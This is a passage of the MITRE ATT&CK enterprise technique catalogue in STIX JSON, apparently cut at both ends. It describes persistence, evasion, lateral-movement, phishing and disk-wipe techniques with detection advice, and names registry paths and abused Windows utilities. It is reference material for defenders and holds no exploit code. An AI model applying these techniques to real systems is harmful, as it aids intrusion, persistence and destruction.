suspicious OAuth patterns with unusual TLDs.(Citation: Microsoft OAuth 2.0 Consent Phishing 2021). Detonation chambers can be used to detect these links and either automatically go to these sites to determine if they're potentially malicious, or wait and capture the content if a user visits the link.\n\nFiltering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)\n\nBecause this technique usually involves user interaction on the endpoint, many of the possible detections take place once [User Execution](https://attack.mitre.org/techniques/T1204) occurs.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"initial-access"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["Network Traffic: Network Traffic Content","Network Traffic: Network Traffic Flow","Application Log: Application Log Content"],"x_mitre_system_requirements":[],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--2ba5aa71-9d15-4b22-b726-56af06d9ad2f","type":"attack-pattern","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1165","url":"https://attack.mitre.org/techniques/T1165"},{"url":"https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html","description":"Apple. (2016, September 13). Startup Items. Retrieved July 11, 2017.","source_name":"Startup Items"},{"url":"https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf","description":"Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.","source_name":"Methods of Mac Malware Persistence"}],"modified":"2020-01-15T18:02:49.891Z","name":"Startup Items","description":"Per Apple’s documentation, startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items (Citation: Startup Items). This is technically a deprecated version (superseded by Launch Daemons), and thus the appropriate folder, <code>/Library/StartupItems</code> isn’t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), <code>StartupParameters.plist</code>, reside in the top-level directory. \n\nAn adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism (Citation: Methods of Mac Malware Persistence). Additionally, since StartupItems run during the bootup phase of macOS, they will run as root. If an adversary is able to modify an existing Startup Item, then they will be able to Privilege Escalate as well.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"The <code>/Library/StartupItems</code> folder can be monitored for changes. Similarly, the programs that are actually executed from this mechanism should be checked against a whitelist. Monitor processes that are executed during the bootup process to check for unusual or unknown applications and behavior.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_permissions_required":["Administrator"],"x_mitre_effective_permissions":["root"]},{"x_mitre_platforms":["Linux","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--2bce5b30-7014-4a5d-ade7-12913fe6ac36","type":"attack-pattern","created":"2020-01-28T17:11:54.034Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1070.002","url":"https://attack.mitre.org/techniques/T1070/002"},{"source_name":"Linux Logs","url":"https://www.eurovps.com/blog/important-linux-log-files-you-must-be-monitoring/","description":"Marcel. (2018, April 19). 12 Critical Linux Log Files You Must be Monitoring. Retrieved March 29, 2020."}],"modified":"2020-03-29T21:23:51.886Z","name":"Clear Linux or Mac System Logs","description":"Adversaries may clear system logs to hide evidence of an intrusion. macOS and Linux both keep track of system or user-initiated actions via system logs. The majority of native system logging is stored under the <code>/var/log/</code> directory. Subfolders in this directory categorize logs by their related functions, such as:(Citation: Linux Logs)\n\n* <code>/var/log/messages:</code>: General and system-related messages\n* <code>/var/log/secure</code> or <code>/var/log/auth.log</code>: Authentication logs\n* <code>/var/log/utmp</code> or <code>/var/log/wtmp</code>: Login records\n* <code>/var/log/kern.log</code>: Kernel logs\n* <code>/var/log/cron.log</code>: Crond logs\n* <code>/var/log/maillog</code>: Mail server logs\n* <code>/var/log/httpd/</code>: Web server access and error logs\n","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"File system monitoring may be used to detect improper deletion or modification of indicator files. Also monitor for suspicious processes interacting with log files.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Command: Command Execution","File: File Deletion","File: File Modification"]},{"x_mitre_platforms":["Windows","Azure AD","Office 365","SaaS","IaaS","Linux","macOS","Google Workspace"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--2bee5ffb-7a7a-4119-b1f2-158151b19ac0","type":"attack-pattern","created":"2020-02-20T15:37:27.052Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1499.004","url":"https://attack.mitre.org/techniques/T1499/004"},{"source_name":"Sucuri BIND9 August 2015","url":"https://blog.sucuri.net/2015/08/bind9-denial-of-service-exploit-in-the-wild.html","description":"Cid, D.. (2015, August 2). BIND9 – Denial of Service Exploit in the Wild. Retrieved April 26, 2019."}],"modified":"2022-03-25T18:11:13.604Z","name":"Application or System Exploitation","description":"Adversaries may exploit software vulnerabilities that can cause an application or system to crash and deny availability to users. (Citation: Sucuri BIND9 August 2015) Some systems may automatically restart critical applications and services when crashes occur, but they can likely be re-exploited to cause a persistent denial of service (DoS) condition.\n\nAdversaries may exploit known or zero-day vulnerabilities to crash applications and/or systems, which may also lead to dependent applications and/or systems to be in a DoS condition. Crashed or restarted applications or systems may also have other effects such as [Data Destruction](https://attack.mitre.org/techniques/T1485), [Firmware Corruption](https://attack.mitre.org/techniques/T1495), [Service Stop](https://attack.mitre.org/techniques/T1489) etc. which may further cause a DoS condition and deny availability to critical information, applications and/or systems. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"impact"}],"x_mitre_detection":"Attacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack. Externally monitor the availability of services that may be targeted by an Endpoint DoS.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Sensor Health: Host Status","Application Log: Application Log Content","Network Traffic: Network Traffic Content","Network Traffic: Network Traffic Flow"],"x_mitre_impact_type":["Availability"]},{"x_mitre_platforms":["Windows","Office 365"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Nick Carr, Mandiant","Microsoft Threat Intelligence Center (MSTIC)","Sahar Shukrun","Praetorian","Loic Jaquemet","Ricardo Dias"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53","type":"attack-pattern","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1137","url":"https://attack.mitre.org/techniques/T1137"},{"source_name":"SensePost Ruler GitHub","url":"https://github.com/sensepost/ruler","description":"SensePost. (2016, August 18). Ruler: A tool to abuse Exchange services. Retrieved February 4, 2019."},{"source_name":"TechNet O365 Outlook Rules","url":"https://blogs.technet.microsoft.com/office365security/defending-against-rules-and-forms-injection/","description":"Koeller, B.. (2018, February 21). Defending Against Rules and Forms Injection. Retrieved November 5, 2019."},{"source_name":"CrowdStrike Outlook Forms","url":"https://malware.news/t/using-outlook-forms-for-lateral-movement-and-persistence/13746","description":"Parisi, T., et al. (2017, July). Using Outlook Forms for Lateral Movement and Persistence. Retrieved February 5, 2019."},{"source_name":"Outlook Today Home Page","url":"https://medium.com/@bwtech789/outlook-today-homepage-persistence-33ea9b505943","description":"Soutcast. (2018, September 14). Outlook Today Homepage Persistence. Retrieved February 5, 2019."},{"source_name":"Microsoft Detect Outlook Forms","url":"https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack","description":"Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook Rules and Custom Forms Injections Attacks in Office 365. Retrieved February 4, 2019."},{"source_name":"SensePost NotRuler","url":"https://github.com/sensepost/notruler","description":"SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019."}],"modified":"2021-10-15T20:18:31.112Z","name":"Office Application Startup","description":"Adversaries may leverage Microsoft Office-based applications for persistence between startups. Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network. There are multiple mechanisms that can be used with Office for persistence when an Office-based application is started; this can include the use of Office Template Macros and add-ins.\n\nA variety of features have been discovered in Outlook that can be abused to obtain persistence, such as Outlook rules, forms, and Home Page.(Citation: SensePost Ruler GitHub) These persistence mechanisms can work within Outlook or be used through Office 365.(Citation: TechNet O365 Outlook Rules)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior. If winword.exe is the parent process for suspicious processes and activity relating to other adversarial techniques, then it could indicate that the application was used maliciously.\n\nMany Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence.(Citation: CrowdStrike Outlook Forms)(Citation: Outlook Today Home Page)\n\nMicrosoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)","x_mitre_version":"1.3","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Windows Registry: Windows Registry Key Creation","Application Log: Application Log Content","Module: Module Load","Process: Process Creation","Command: Command Execution","File: File Creation","Windows Registry: Windows Registry Key Modification","File: File Modification"],"x_mitre_permissions_required":["User","Administrator"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Travis Smith, Tripwire","Casey Smith"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--2cd950a6-16c4-404a-aa01-044322395107","type":"attack-pattern","created":"2020-01-23T19:09:48.811Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1218.004","url":"https://attack.mitre.org/techniques/T1218/004"},{"source_name":"MSDN InstallUtil","description":"Microsoft. (n.d.). Installutil.exe (Installer Tool). Retrieved July 1, 2016.","url":"https://msdn.microsoft.com/en-us/library/50614e95.aspx"},{"source_name":"LOLBAS Installutil","url":"https://lolbas-project.github.io/lolbas/Binaries/Installutil/","description":"LOLBAS. (n.d.). Installutil.exe. Retrieved July 31, 2019."}],"modified":"2022-03-11T18:47:52.603Z","name":"InstallUtil","description":"Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) The InstallUtil binary may also be digitally signed by Microsoft and located in the .NET directories on a Windows system: <code>C:\\Windows\\Microsoft.NET\\Framework\\v<version>\\InstallUtil.exe</code> and <code>C:\\Windows\\Microsoft.NET\\Framework64\\v<version>\\InstallUtil.exe</code>.\n\nInstallUtil may also be used to bypass application control through use of attributes within the binary that execute the class decorated with the attribute <code>[System.ComponentModel.RunInstaller(true)]</code>. (Citation: LOLBAS Installutil)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Use process monitoring to monitor the execution and arguments of InstallUtil.exe. Compare recent invocations of InstallUtil.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after the InstallUtil.exe invocation may also be useful in determining the origin and purpose of the binary being executed.","x_mitre_is_subtechnique":true,"x_mitre_version":"2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Command: Command Execution","Process: Process Creation"],"x_mitre_defense_bypassed":["Digital Certificate Validation","Application control"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Philip Winther","Sebastian Salla, McAfee","Robert Simmons, @MalwareUtkonos"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--2d3f5b3c-54ca-4f4d-bb1f-849346d31230","type":"attack-pattern","created":"2020-10-02T17:09:50.723Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1598.003","url":"https://attack.mitre.org/techniques/T1598/003"},{"source_name":"TrendMictro Phishing","url":"https://www.trendmicro.com/en_us/research/20/i/tricky-forms-of-phishing.html","description":"Babon, P. (2020, September 3). Tricky 'Forms' of Phishing. Retrieved October 20, 2020."},{"source_name":"PCMag FakeLogin","url":"https://www.pcmag.com/news/hackers-try-to-phish-united-nations-staffers-with-fake-login-pages","description":"Kan, M. (2019, October 24). Hackers Try to Phish United Nations Staffers With Fake Login Pages. Retrieved October 20, 2020."},{"source_name":"Microsoft Anti Spoofing","url":"https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide","description":"Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020."},{"source_name":"ACSC Email Spoofing","url":"https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf","description":"Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020."}],"modified":"2022-03-08T21:57:55.192Z","name":"Spearphishing Link","description":"Adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.\n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser.(Citation: TrendMictro Phishing)(Citation: PCMag FakeLogin) The given website may closely resemble a legitimate site in appearance and have a URL containing elements from the real site. From the fake website, information is gathered in web forms and sent to the adversary. Adversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"reconnaissance"}],"x_mitre_detection":"Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)\n\nMonitor for references to uncategorized or known-bad sites. URL inspection within email (including expanding shortened links) can also help detect links leading to known malicious sites.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Traffic Flow","Network Traffic: Network Traffic Content","Application Log: Application Log Content"]},{"x_mitre_platforms":["Linux","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--2db31dcd-54da-405d-acef-b9129b816ed6","type":"attack-pattern","created":"2020-02-11T18:27:15.774Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1021.004","url":"https://attack.mitre.org/techniques/T1021/004"},{"external_id":"CAPEC-555","source_name":"capec","url":"https://capec.mitre.org/data/definitions/555.html"},{"source_name":"Apple Unified Log Analysis Remote Login and Screen Sharing","url":"https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins","description":"Sarah Edwards. (2020, April 30). Analysis of Apple Unified Logs: Quarantine Edition [Entry 6] – Working From Home? Remote Logins. Retrieved August 19, 2021."}],"modified":"2021-10-15T14:15:06.853Z","name":"SSH","description":"Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into remote machines using Secure Shell (SSH). The adversary may then perform actions as the logged-on user.\n\nSSH is a protocol that allows authorized users to open remote shells on other computers. Many Linux and macOS versions come with SSH installed by default, although typically disabled until the user enables it. The SSH server can be configured to use standard password authentication or public-private keypairs in lieu of or in addition to a password. In this authentication scenario, the user’s public key must be in a special file on the computer running the server that lists which keypairs are allowed to login as that user.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"lateral-movement"}],"x_mitre_detection":"Use of SSH may be legitimate depending on the environment and how it’s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with SSH. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time.\n\nOn macOS systems <code>log show --predicate 'process = \"sshd\"'</code> can be used to review incoming SSH connection attempts for suspicious activity. The command <code>log show --info --predicate 'process = \"ssh\" or eventMessage contains \"ssh\"'</code> can be used to review outgoing SSH connection activity.(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)\n\nOn Linux systems SSH activity can be found in the logs located in <code>/var/log/auth.log</code> or <code>/var/log/secure</code> depending on the distro you are using.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Process: Process Creation","Logon Session: Logon Session Creation","Network Traffic: Network Connection Creation"],"x_mitre_system_requirements":["An SSH server is configured and running."]},{"x_mitre_platforms":["Office 365","IaaS","SaaS","Google Workspace","Azure AD"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Microsoft Threat Intelligence Center (MSTIC)","Alex Parsons, Crowdstrike","Chris Romano, Crowdstrike","Wojciech Lesicki","Pià Consigny, Tenable","Clément Notin, Tenable"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--2dbbdcd5-92cf-44c0-aea2-fe24783a6bc3","created":"2020-01-19T16:59:45.362Z","x_mitre_version":"2.0","external_references":[{"source_name":"mitre-attack","external_id":"T1098.003","url":"https://attack.mitre.org/techniques/T1098/003"},{"source_name":"Expel AWS Attacker","url":"https://expel.com/blog/incident-report-from-cli-to-console-chasing-an-attacker-in-aws/","description":" Brian Bahtiarian, David Blanton, Britton Manahan and Kyle Pellett. (2022, April 5). Incident report: From CLI to console, chasing an attacker in AWS. Retrieved April 7, 2022."},{"source_name":"Microsoft O365 Admin Roles","url":"https://docs.microsoft.com/en-us/office365/admin/add-users/about-admin-roles?view=o365-worldwide","description":"Ako-Adjei, K., Dickhaus, M., Baumgartner, P., Faigel, D., et. al.. (2019, October 8). About admin roles. Retrieved October 18, 2019."},{"source_name":"SpecterOps Azure Privilege Escalation","url":"https://posts.specterops.io/azure-privilege-escalation-via-service-principal-abuse-210ae2be2a5","description":"Andy Robbins. (2021, October 12). Azure Privilege Escalation via Service Principal Abuse. Retrieved April 1, 2022."},{"source_name":"AWS IAM Policies and Permissions","url":"https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies.html ","description":"AWS. (n.d.). Policies and permissions in IAM. Retrieved April 1, 2022."},{"source_name":"Google Cloud IAM Policies","url":"https://cloud.google.com/iam/docs/policies","description":"Google Cloud. (2022, March 31). Understanding policies. Retrieved April 1, 2022."},{"source_name":"Microsoft Support O365 Add Another Admin, October 2019","url":"https://support.office.com/en-us/article/add-another-admin-f693489f-9f55-4bd0-a637-a81ce93de22d","description":"Microsoft. (n.d.). Add Another Admin. Retrieved October 18, 2019."}],"x_mitre_deprecated":false,"revoked":false,"description":"An adversary may add additional roles or permissions to an adversary-controlled cloud account to maintain persistent access to a tenant. For example, they may update IAM policies in cloud-based environments or add a new global administrator in Office 365 environments.(Citation: AWS IAM Policies and Permissions)(Citation: Google Cloud IAM Policies)(Citation: Microsoft Support O365 Add Another Admin, October 2019)(Citation: Microsoft O365 Admin Roles) With sufficient permissions, a compromised account can gain almost unlimited access to data and settings (including the ability to reset the passwords of other admins).(Citation: Expel AWS Attacker)\n(Citation: Microsoft O365 Admin Roles) \n\nThis account modification may immediately follow [Create Account](https://attack.mitre.org/techniques/T1136) or other malicious account activity. Adversaries may also modify an existing [Valid Accounts](https://attack.mitre.org/techniques/T1078) that they have compromised. This could lead to privilege escalation, particularly if the roles added allow for lateral movement to additional accounts. For example, in Azure AD environments, an adversary with the Application Administrator role can add [Additional Cloud Credentials](https://attack.mitre.org/techniques/T1098/001) to their application's service principal. In doing so the adversary would be able to gain the service principal’s roles and permissions, which may be different from those of the Application Administrator.(Citation: SpecterOps Azure Privilege Escalation)","modified":"2022-04-19T12:41:16.167Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Additional Cloud Roles","x_mitre_detection":"Collect activity logs from IAM services and cloud administrator accounts to identify unusual activity in the assignment of roles to those accounts. Monitor for accounts assigned to admin roles that go over a certain threshold of known admins. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["User Account: User Account Modification"],"x_mitre_system_requirements":[],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Mathieu Tartare, ESET"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--2de47683-f398-448f-b947-9abcc3e32fad","type":"attack-pattern","created":"2020-10-05T13:24:49.780Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1547.012","url":"https://attack.mitre.org/techniques/T1547/012"},{"source_name":"Microsoft AddPrintProcessor May 2018","url":"https://docs.microsoft.com/en-us/windows/win32/printdocs/addprintprocessor","description":"Microsoft. (2018, May 31). AddPrintProcessor function. Retrieved October 5, 2020."},{"source_name":"ESET PipeMon May 2020","url":"https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/","description":"Tartare, M. et al. (2020, May 21). No “Game over” for the Winnti Group. Retrieved August 24, 2020."}],"modified":"2020-10-09T16:05:36.344Z","name":"Print Processors","description":"Adversaries may abuse print processors to run malicious DLLs during system boot for persistence and/or privilege escalation. Print processors are DLLs that are loaded by the print spooler service, spoolsv.exe, during boot. \n\nAdversaries may abuse the print spooler service by adding print processors that load malicious DLLs at startup. A print processor can be installed through the <code>AddPrintProcessor</code> API call with an account that has <code>SeLoadDriverPrivilege</code> enabled. Alternatively, a print processor can be registered to the print spooler service by adding the <code>HKLM\\SYSTEM\\\\[CurrentControlSet or ControlSet001]\\Control\\Print\\Environments\\\\[Windows architecture: e.g., Windows x64]\\Print Processors\\\\[user defined]\\Driver</code> Registry key that points to the DLL. For the print processor to be correctly installed, it must be located in the system print-processor directory that can be found with the <code>GetPrintProcessorDirectory</code> API call.(Citation: Microsoft AddPrintProcessor May 2018) After the print processors are installed, the print spooler service, which starts during boot, must be restarted in order for them to run.(Citation: ESET PipeMon May 2020) The print spooler service runs under SYSTEM level permissions, therefore print processors installed by an adversary may run under elevated privileges.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"Monitor process API calls to <code>AddPrintProcessor</code> and <code>GetPrintProcessorDirectory</code>. New print processor DLLs are written to the print processor directory. Also monitor Registry writes to <code>HKLM\\SYSTEM\\ControlSet001\\Control\\Print\\Environments\\\\[Windows architecture]\\Print Processors\\\\[user defined]\\\\Driver</code> or <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Environments\\\\[Windows architecture]\\Print Processors\\\\[user defined]\\Driver</code> as they pertain to print processor installations.\n\nMonitor for abnormal DLLs that are loaded by spoolsv.exe. Print processors that do not correlate with known good software or patching may be suspicious.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Process: OS API Execution","Windows Registry: Windows Registry Key Modification","File: File Creation","Module: Module Load","Driver: Driver Load"],"x_mitre_permissions_required":["Administrator","SYSTEM"]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044","type":"attack-pattern","created":"2017-05-31T21:31:07.958Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1089","external_id":"T1089"},{"external_id":"CAPEC-578","source_name":"capec","url":"https://capec.mitre.org/data/definitions/578.html"}],"modified":"2020-02-21T20:35:48.979Z","name":"Disabling Security Tools","description":"Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security scanning or event reporting.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Monitor processes and command-line arguments to see if security tools are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools. Lack of log or event file reporting may be suspicious.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_defense_bypassed":["File monitoring","Host intrusion prevention systems","Signature-based detection","Log analysis","Anti-virus"]},{"x_mitre_platforms":["Windows","macOS","Linux"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--2e114e45-2c50-404c-804a-3af9564d240e","type":"attack-pattern","created":"2019-03-19T19:38:27.097Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1487","url":"https://attack.mitre.org/techniques/T1487"},{"source_name":"Symantec Shamoon 2012","url":"https://www.symantec.com/connect/blogs/shamoon-attacks","description":"Symantec. (2012, August 16). The Shamoon Attacks. Retrieved March 14, 2019."},{"url":"https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html","description":"FireEye. (2016, November 30). FireEye Responds to Wave of Destructive Cyber Attacks in Gulf Region. Retrieved January 11, 2017.","source_name":"FireEye Shamoon Nov 2016"},{"url":"http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/","description":"Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.","source_name":"Palo Alto Shamoon Nov 2016"},{"source_name":"Kaspersky StoneDrill 2017","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf","description":"Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill: Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019."},{"source_name":"Unit 42 Shamoon3 2018","url":"https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/","description":"Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019."}],"modified":"2020-02-20T22:11:00.106Z","name":"Disk Structure Wipe","description":"Adversaries may corrupt or wipe the disk data structures on hard drive necessary to boot systems; targeting specific critical systems as well as a large number of systems in a network to interrupt availability to system and network resources. \n\nAdversaries may attempt to render the system unable to boot by overwriting critical data located in structures such as the master boot record (MBR) or partition table.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) The data contained in disk structures may include the initial executable code for loading an operating system or the location of the file system partitions on disk. If this information is not present, the computer will not be able to load an operating system during the boot process, leaving the computer unavailable. [Disk Structure 